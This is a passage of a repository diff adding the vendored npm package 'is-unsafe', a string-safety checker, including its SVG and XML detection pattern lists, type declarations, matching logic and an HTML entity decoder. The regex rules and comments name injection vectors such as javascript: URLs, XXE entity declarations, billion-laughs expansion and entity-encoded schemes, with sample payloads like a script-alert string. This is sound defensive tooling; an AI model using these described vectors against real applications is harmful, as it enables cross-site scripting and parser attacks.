description: '<image xlink:href with http/https or javascript protocol',
|
||||
pattern: /<image[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=\s*["']?\s*(?:https?|javascript)\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-style-javascript',
|
||||
description: 'style= attribute containing javascript: (e.g. background:url(javascript:...))',
|
||||
pattern: /style\s*=[\s\S]{0,60}javascript\s*:/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SVG_PATTERNS;
|
||||
79
node_modules/is-unsafe/src/contexts/xml.js
generated
vendored
Normal file
79
node_modules/is-unsafe/src/contexts/xml.js
generated
vendored
Normal file
@@ -0,0 +1,79 @@
|
||||
/**
|
||||
* XML context patterns.
|
||||
*
|
||||
* Detects injection vectors that are specifically dangerous when a string
|
||||
* is inserted into an XML document (not HTML rendering context).
|
||||
*
|
||||
* Key distinction from HTML: these patterns target parser-level attacks —
|
||||
* things that can confuse or subvert an XML parser, trigger external entity
|
||||
* resolution, or inject DTD content. HTML rendering concerns (XSS) belong
|
||||
* in the HTML context.
|
||||
*/
|
||||
|
||||
const XML_PATTERNS = [
|
||||
{
|
||||
id: 'xml-cdata-injection',
|
||||
description: 'CDATA section injection: <![CDATA[ breaks out of text node context',
|
||||
pattern: /<!\[CDATA\[/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-cdata-close',
|
||||
description: 'CDATA close sequence: ]]> can terminate an enclosing CDATA section',
|
||||
pattern: /\]\]>/,
|
||||
},
|
||||
{
|
||||
id: 'xml-processing-instruction',
|
||||
description: 'XML processing instruction: <?xml-stylesheet or <?php etc.',
|
||||
pattern: /<\?(?:xml[\- ]|php|asp)/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-doctype-injection',
|
||||
description: 'DOCTYPE declaration embedded in content — can define entities',
|
||||
// Match <!DOCTYPE followed by end-of-string, whitespace, or [ (internal subset)
|
||||
pattern: /<!DOCTYPE(?:[\s[]|$)/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-system',
|
||||
description: 'SYSTEM keyword — used in external entity declarations (XXE)',
|
||||
pattern: /\bSYSTEM\s+["']/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-public',
|
||||
description: 'PUBLIC keyword — used in external entity declarations (XXE)',
|
||||
pattern: /\bPUBLIC\s+["']/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-declaration',
|
||||
description: '<!ENTITY declaration — defines entities, potential XXE or entity expansion',
|
||||
pattern: /<!ENTITY[\s%]/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-billion-laughs',
|
||||
description: 'Entity reference chaining / billion laughs: repeated &eX; style references',
|
||||
// Heuristic: 3+ consecutive entity refs suggests expansion attack
|
||||
pattern: /(?:&\w{1,20};){3,}/,
|
||||
},
|
||||
{
|
||||
id: 'xml-namespace-confusion',
|
||||
description: 'xmlns: attribute injection — can redefine namespaces to confuse parsers',
|
||||
// pattern: /\bxmlns\s*(?::\w{1,40})?\s*=/i,
|
||||
pattern: /\bxmlns(?::\w{1,40})?\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-comment-injection',
|
||||
description: '<!-- comment injection — can hide content from some parsers',
|
||||
pattern: /<!--/,
|
||||
},
|
||||
{
|
||||
id: 'xml-comment-close',
|
||||
description: '--> closes an enclosing XML comment',
|
||||
pattern: /-->/,
|
||||
},
|
||||
{
|
||||
id: 'xml-pi-close',
|
||||
description: '?> closes an enclosing processing instruction',
|
||||
pattern: /\?>/,
|
||||
},
|
||||
];
|
||||
|
||||
export default XML_PATTERNS;
|
||||
27
node_modules/is-unsafe/src/index.cjs
generated
vendored
Normal file
27
node_modules/is-unsafe/src/index.cjs
generated
vendored
Normal file
@@ -0,0 +1,27 @@
|
||||
// CommonJS shim — generated from src/index.js
|
||||
// For bundlers and Node.js environments that require CJS interop.
|
||||
// This file re-exports via dynamic import to bridge ESM → CJS.
|
||||
|
||||
let _mod;
|
||||
async function _load() {
|
||||
if (!_mod) _mod = await import('./index.js');
|
||||
return _mod;
|
||||
}
|
||||
|
||||
// Synchronous-style exports via module.exports proxy
|
||||
// (Works for environments that await the module, e.g. Jest with transformIgnorePatterns)
|
||||
module.exports = new Proxy(
|
||||
{},
|
||||
{
|
||||
get(_, key) {
|
||||
throw new Error(
|
||||
`is-unsafe: CommonJS require() is not fully supported. ` +
|
||||
`Use dynamic import(): const { isUnsafe } = await import('is-unsafe'). ` +
|
||||
`Or set "type": "module" in your package.json.`
|
||||
);
|
||||
},
|
||||
}
|
||||
);
|
||||
|
||||
// Export the loader for async CJS callers
|
||||
module.exports.load = _load;
|
||||
103
node_modules/is-unsafe/src/index.d.ts
generated
vendored
Normal file
103
node_modules/is-unsafe/src/index.d.ts
generated
vendored
Normal file
@@ -0,0 +1,103 @@
|
||||
/**
|
||||
* is-unsafe v2 — TypeScript declarations
|
||||
*
|
||||
* Each context is a tree-shakeable named export. Import only what you need.
|
||||
*/
|
||||
|
||||
/** A single detection rule: a pattern plus metadata. */
|
||||
export interface Rule {
|
||||
id: string;
|
||||
description: string;
|
||||
pattern: RegExp;
|
||||
}
|
||||
|
||||
/**
|
||||
* An ordered list of Rules for a given injection context.
|
||||
*
|
||||
* Built-in contexts (HTML, XML, etc.) have `label` pre-set by the library.
|
||||
* Custom lists default to `'CUSTOM'` in MatchResult unless you set `label`:
|
||||
*
|
||||
* ```js
|
||||
* const MY_RULES = [{ id: 'my-rule', description: '...', pattern: /danger/ }];
|
||||
* MY_RULES.label = 'MY_CONTEXT';
|
||||
* whyUnsafe('danger', MY_RULES); // → { context: 'MY_CONTEXT', ... }
|
||||
* ```
|
||||
*/
|
||||
export type PatternList = Rule[] & {
|
||||
label?: string;
|
||||
/**
|
||||
* When `true`, each rule is tested against the raw input AND a copy with
|
||||
* HTML character references decoded (numeric, hex, :, 	, 
).
|
||||
* Set on HTML, XML and SVG. Leave unset for non-markup contexts.
|
||||
*/
|
||||
decodeEntities?: boolean;
|
||||
};
|
||||
|
||||
/**
|
||||
* Valid context argument:
|
||||
* - A single PatternList (e.g. `HTML`)
|
||||
* - An array of PatternLists (e.g. `[HTML, XML]`) — unsafe if matches ANY
|
||||
* - A custom RegExp
|
||||
*/
|
||||
export type ContextArg = PatternList | PatternList[] | RegExp;
|
||||
|
||||
/** Describes which rule matched and why. */
|
||||
export interface MatchResult {
|
||||
/** Context label ('HTML', 'XML', 'CUSTOM', etc.) */
|
||||
context: string;
|
||||
id: string;
|
||||
description: string;
|
||||
pattern: RegExp;
|
||||
}
|
||||
|
||||
// ─── Named context exports (tree-shakeable) ────────────────────────────────
|
||||
|
||||
export const HTML: PatternList;
|
||||
export const XML: PatternList;
|
||||
export const SVG: PatternList;
|
||||
export const SQL: PatternList;
|
||||
export const SQL_STRICT: PatternList;
|
||||
export const SHELL: PatternList;
|
||||
export const REDOS: PatternList;
|
||||
export const NOSQL: PatternList;
|
||||
export const LOG: PatternList;
|
||||
|
||||
// ─── VALID_CONTEXTS (convenience — pulls in all contexts) ──────────────────
|
||||
|
||||
export const VALID_CONTEXTS: {
|
||||
readonly HTML: PatternList;
|
||||
readonly XML: PatternList;
|
||||
readonly SVG: PatternList;
|
||||
readonly SQL: PatternList;
|
||||
readonly 'SQL-STRICT': PatternList;
|
||||
readonly SHELL: PatternList;
|
||||
readonly REDOS: PatternList;
|
||||
readonly NOSQL: PatternList;
|
||||
readonly LOG: PatternList;
|
||||
};
|
||||
|
||||
// ─── Core functions ────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Returns `true` if `value` is unsafe in the given context(s).
|
||||
*
|
||||
* @example
|
||||
* import { isUnsafe, HTML, XML } from 'is-unsafe';
|
||||
* isUnsafe('<script>alert(1)</script>', HTML) // true
|
||||
* isUnsafe('hello', [HTML, XML]) // false
|
||||
* isUnsafe('hello', /danger/) // false
|
||||
*/
|
||||
export function isUnsafe(value: string, context: ContextArg): boolean;
|
||||
|
||||
/**
|
||||
* Returns the first `MatchResult` explaining why `value` is unsafe, or `null` if safe.
|
||||
*/
|
||||
export function whyUnsafe(value: string, context: ContextArg): MatchResult | null;
|
||||
|
||||
/**
|
||||
* Returns all matching rules across the given context(s), or `[]` if safe.
|
||||
*/
|
||||
export function allUnsafe(value: string, context: ContextArg): MatchResult[];
|
||||
|
||||
declare const isUnsafeDefault: typeof isUnsafe;
|
||||
export default isUnsafeDefault;
|
||||
292
node_modules/is-unsafe/src/index.js
generated
vendored
Normal file
292
node_modules/is-unsafe/src/index.js
generated
vendored
Normal file
@@ -0,0 +1,292 @@
|
||||
/**
|
||||
* is-unsafe v2
|
||||
*
|
||||
* Zero-dependency, DOM-free, pure predicate for detecting unsafe strings
|
||||
* across HTML, XML, SVG, SQL, SQL-STRICT, SHELL, REDOS, NOSQL, and LOG contexts.
|
||||
*
|
||||
* v2 change: contexts are imported as named pattern arrays rather than resolved
|
||||
* via a string-keyed registry. This makes each context independently
|
||||
* tree-shakeable — bundlers can drop any context you never import.
|
||||
*
|
||||
* @module is-unsafe
|
||||
*/
|
||||
|
||||
// ─── Context pattern arrays (named exports) ────────────────────────────────
|
||||
// Import only the ones you need. Each is independently tree-shakeable.
|
||||
|
||||
export { default as HTML } from './contexts/html.js';
|
||||
export { default as XML } from './contexts/xml.js';
|
||||
export { default as SVG } from './contexts/svg.js';
|
||||
export { default as SQL } from './contexts/sql.js';
|
||||
export { default as SHELL } from './contexts/shell.js';
|
||||
export { default as REDOS } from './contexts/redos.js';
|
||||
export { default as NOSQL } from './contexts/nosql.js';
|
||||
export { default as LOG } from './contexts/log.js';
|
||||
|
||||
// SQL-STRICT needs a quoted identifier because of the hyphen
|
||||
import SQL_STRICT from './contexts/sql-strict.js';
|
||||
export { SQL_STRICT };
|
||||
|
||||
// Markup contexts are also matched against an entity-decoded copy of the input,
|
||||
// because browsers decode HTML character references before interpreting a URL
|
||||
// scheme (e.g. javascript:… is a javascript: URL).
|
||||
import decodeEntities from './util/decode-entities.js';
|
||||
|
||||
// ─── VALID_CONTEXTS convenience re-export ─────────────────────────────────
|
||||
// Importing this pulls in ALL contexts. Use it only when you need all of them
|
||||
// (e.g. for validation UI, tooling, or exhaustive audits).
|
||||
// If you only need a subset, import the named contexts directly instead.
|
||||
|
||||
import HTML from './contexts/html.js';
|
||||
import XML from './contexts/xml.js';
|
||||
import SVG from './contexts/svg.js';
|
||||
import SQL from './contexts/sql.js';
|
||||
import SHELL from './contexts/shell.js';
|
||||
import REDOS from './contexts/redos.js';
|
||||
import NOSQL from './contexts/nosql.js';
|
||||
import LOG from './contexts/log.js';
|
||||
|
||||
// ─── Attach labels to named contexts ──────────────────────────────────────
|
||||
// Each built-in PatternList carries its canonical name so matchList can read
|
||||
// list.label directly — no registry lookup needed at match time.
|
||||
// Custom PatternLists default to 'CUSTOM' unless the caller sets list.label.
|
||||
|
||||
HTML.label = 'HTML';
|
||||
XML.label = 'XML';
|
||||
SVG.label = 'SVG';
|
||||
|
||||
// Markup contexts: also test an entity-decoded copy (see util/decode-entities.js).
|
||||
// Non-markup contexts (SQL, SHELL, LOG, …) are matched byte-for-byte as supplied.
|
||||
HTML.decodeEntities = true;
|
||||
XML.decodeEntities = true;
|
||||
SVG.decodeEntities = true;
|
||||
SQL.label = 'SQL';
|
||||
SQL_STRICT.label = 'SQL-STRICT';
|
||||
SHELL.label = 'SHELL';
|
||||
REDOS.label = 'REDOS';
|
||||
NOSQL.label = 'NOSQL';
|
||||
LOG.label = 'LOG';
|
||||
|
||||
export const VALID_CONTEXTS = Object.freeze({
|
||||
HTML,
|
||||
XML,
|
||||
SVG,
|
||||
SQL,
|
||||
'SQL-STRICT': SQL_STRICT,
|
||||
SHELL,
|
||||
REDOS,
|
||||
NOSQL,
|
||||
LOG,
|
||||
});
|
||||
|
||||
// ─── Types ────────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* @typedef {{ id: string, description: string, pattern: RegExp }} Rule
|
||||
*/
|
||||
|
||||
/**
|
||||
* @typedef {Rule[]} PatternList
|
||||
*/
|
||||
|
||||
/**
|
||||
* @typedef {Object} MatchResult
|
||||
* @property {string} context - Label identifying which context matched ('HTML', 'CUSTOM', etc.)
|
||||
* @property {string} id - Rule identifier
|
||||
* @property {string} description - Human-readable description of what was matched
|
||||
* @property {RegExp} pattern - The pattern that matched
|
||||
*/
|
||||
|
||||
// ─── Internal helpers ──────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* @param {unknown} value
|
||||
*/
|
||||
function assertString(value) {
|
||||
if (typeof value !== 'string') {
|
||||
throw new TypeError(
|
||||
`is-unsafe: first argument must be a string, got ${typeof value}`
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param {unknown} context
|
||||
*/
|
||||
function assertContext(context) {
|
||||
if (context instanceof RegExp) return;
|
||||
|
||||
if (Array.isArray(context)) {
|
||||
if (context.length === 0) {
|
||||
throw new TypeError('is-unsafe: context must not be an empty array');
|
||||
}
|
||||
// Detect array-of-arrays vs flat pattern list
|
||||
if (Array.isArray(context[0])) {
|
||||
// Array of PatternLists
|
||||
for (const list of context) {
|
||||
if (!Array.isArray(list) || list.length === 0) {
|
||||
throw new TypeError(
|
||||
'is-unsafe: each context in the array must be a non-empty pattern array (PatternList)'
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
// else: flat PatternList — trust it, no deep validation needed
|
||||
return;
|
||||
}
|
||||
|
||||
throw new TypeError(
|
||||
`is-unsafe: second argument must be a PatternList (e.g. HTML), ` +
|
||||
`an array of PatternLists (e.g. [HTML, XML]), or a RegExp. Got: ${typeof context}`
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Normalise any valid context arg into an array of PatternLists.
|
||||
*
|
||||
* @param {Rule[]|Rule[][]|RegExp} context
|
||||
* @returns {{ lists: Rule[][]|null, regex: RegExp|null }}
|
||||
*/
|
||||
function normalise(context) {
|
||||
if (context instanceof RegExp) return { lists: null, regex: context };
|
||||
// Distinguish PatternList (array of rule objects) from array of PatternLists
|
||||
if (Array.isArray(context[0])) return { lists: context, regex: null };
|
||||
return { lists: [context], regex: null };
|
||||
}
|
||||
|
||||
/**
|
||||
* For markup contexts, return an entity-decoded copy of `value` to test
|
||||
* alongside the raw input, or null when there is nothing extra to test.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {Rule[]} list
|
||||
* @returns {string|null}
|
||||
*/
|
||||
function decodedCopy(value, list) {
|
||||
if (!list.decodeEntities) return null;
|
||||
const decoded = decodeEntities(value);
|
||||
return decoded === value ? null : decoded;
|
||||
}
|
||||
|
||||
/**
|
||||
* Test value against a single PatternList. Returns the first MatchResult or null.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {Rule[]} list
|
||||
* @returns {MatchResult|null}
|
||||
*/
|
||||
function matchList(value, list) {
|
||||
const label = list.label ?? 'CUSTOM';
|
||||
const decoded = decodedCopy(value, list);
|
||||
for (const rule of list) {
|
||||
if (rule.pattern.test(value) || (decoded !== null && rule.pattern.test(decoded))) {
|
||||
return { context: label, id: rule.id, description: rule.description, pattern: rule.pattern };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// ─── Public API ───────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Returns `true` if `value` is unsafe in the given context(s), `false` otherwise.
|
||||
*
|
||||
* @param {string} value - The string to test
|
||||
* @param {PatternList | PatternList[] | RegExp} context
|
||||
* - A PatternList imported from is-unsafe (e.g. `HTML`, `XML`)
|
||||
* - An array of PatternLists — returns true if unsafe in **any** of them
|
||||
* - A custom RegExp — returns true if the pattern matches
|
||||
* @returns {boolean}
|
||||
*
|
||||
* @example
|
||||
* import { isUnsafe, HTML, SQL } from 'is-unsafe';
|
||||
*
|
||||
* isUnsafe('<script>alert(1)</script>', HTML) // true
|
||||
* isUnsafe('hello world', HTML) // false
|
||||
* isUnsafe('value', [HTML, SQL]) // false
|
||||
* isUnsafe('value', /my-pattern/i) // false
|
||||
*/
|
||||
function isUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
const { lists, regex } = normalise(context);
|
||||
|
||||
if (regex) return regex.test(value);
|
||||
|
||||
for (const list of lists) {
|
||||
if (matchList(value, list) !== null) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Like `isUnsafe`, but returns the first `MatchResult` describing **why**
|
||||
* the value was flagged, or `null` if it is safe.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {PatternList | PatternList[] | RegExp} context
|
||||
* @returns {MatchResult|null}
|
||||
*
|
||||
* @example
|
||||
* import { whyUnsafe, HTML } from 'is-unsafe';
|
||||
*
|
||||
* whyUnsafe('<script>alert(1)</script>', HTML)
|
||||
* // { context: 'HTML', id: 'html-script-open', description: '...', pattern: /.../ }
|
||||
*/
|
||||
function whyUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
const { lists, regex } = normalise(context);
|
||||
|
||||
if (regex) {
|
||||
return regex.test(value)
|
||||
? { context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: regex }
|
||||
: null;
|
||||
}
|
||||
|
||||
for (const list of lists) {
|
||||
const result = matchList(value, list);
|
||||
if (result !== null) return result;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns **all** matching rules across the given context(s), or an empty
|
||||
* array if the value is safe. Useful for comprehensive auditing.
|
||||
*
|
||||
* @param {string} value
|
||||
* @param {PatternList | PatternList[] | RegExp} context
|
||||
* @returns {MatchResult[]}
|
||||
*/
|
||||
function allUnsafe(value, context) {
|
||||
assertString(value);
|
||||
assertContext(context);
|
||||
|
||||
const { lists, regex } = normalise(context);
|
||||
const results = [];
|
||||
|
||||
if (regex) {
|
||||
if (regex.test(value)) {
|
||||
results.push({ context: 'CUSTOM', id: 'custom-regex', description: 'Matched caller-supplied pattern', pattern: regex });
|
||||
}
|
||||
return results;
|
||||
}
|
||||
|
||||
for (const list of lists) {
|
||||
const label = list.label ?? 'CUSTOM';
|
||||
const decoded = decodedCopy(value, list);
|
||||
for (const rule of list) {
|
||||
if (rule.pattern.test(value) || (decoded !== null && rule.pattern.test(decoded))) {
|
||||
results.push({ context: label, id: rule.id, description: rule.description, pattern: rule.pattern });
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
export { isUnsafe, whyUnsafe, allUnsafe };
|
||||
export default isUnsafe;
|
||||
48
node_modules/is-unsafe/src/util/decode-entities.js
generated
vendored
Normal file
48
node_modules/is-unsafe/src/util/decode-entities.js
generated
vendored
Normal file
@@ -0,0 +1,48 @@
|
||||
/**
|
||||
* Decode the HTML character references that matter for markup-context
|
||||
* detection.
|
||||
*
|
||||
* Browsers decode character references in attribute values before they
|
||||
* interpret a URL, so `javascript:alert(1)` in an href is the
|
||||
* `javascript:` scheme. The HTML/XML/SVG rules match literal characters, so
|
||||
* without this step such payloads slip through.
|
||||
*
|
||||
* Deliberately NOT a full entity decoder. It decodes only:
|
||||
* - decimal refs : : : : (any leading zeros,
|
||||
* trailing ; optional — browsers accept both)
|
||||
* - hex refs : : : : (same)
|
||||
* - named refs : 	 

|
||||
* Named refs are CASE-SENSITIVE and REQUIRE the trailing ';', exactly
|
||||
* like a browser (so `&COLON;` and `&colon` are not decoded).
|
||||
* 	 / 
 matter because the URL parser strips tab/newline,
|
||||
* so `java	script:` is still a javascript: URL.
|
||||
*
|
||||
* It does NOT decode & (single pass only), so double-encoded text such as
|
||||
* "&lt;script&gt;" stays literal — a browser renders that as text.
|
||||
*
|
||||
* All quantifiers are bounded; no ReDoS risk.
|
||||
*
|
||||
* @param {string} input
|
||||
* @returns {string}
|
||||
*/
|
||||
const NAMED = Object.freeze({
|
||||
colon: ':',
|
||||
Tab: '\t',
|
||||
NewLine: '\n',
|
||||
});
|
||||
|
||||
const ENTITY_RE =
|
||||
/&(?:#[xX]0*([0-9a-fA-F]{1,6});?|#0*([0-9]{1,7});?|([a-zA-Z][a-zA-Z0-9]{1,15});)/g;
|
||||
|
||||
export default function decodeEntities(input) {
|
||||
if (input.indexOf('&') === -1) return input;
|
||||
|
||||
return input.replace(ENTITY_RE, (match, hex, dec, name) => {
|
||||
if (name !== undefined) {
|
||||
return Object.prototype.hasOwnProperty.call(NAMED, name) ? NAMED[name] : match;
|
||||
}
|
||||
const cp = hex !== undefined ? parseInt(hex, 16) : parseInt(dec, 10);
|
||||
if (!Number.isFinite(cp) || cp > 0x10ffff) return match;
|
||||
return String.fromCodePoint(cp);
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user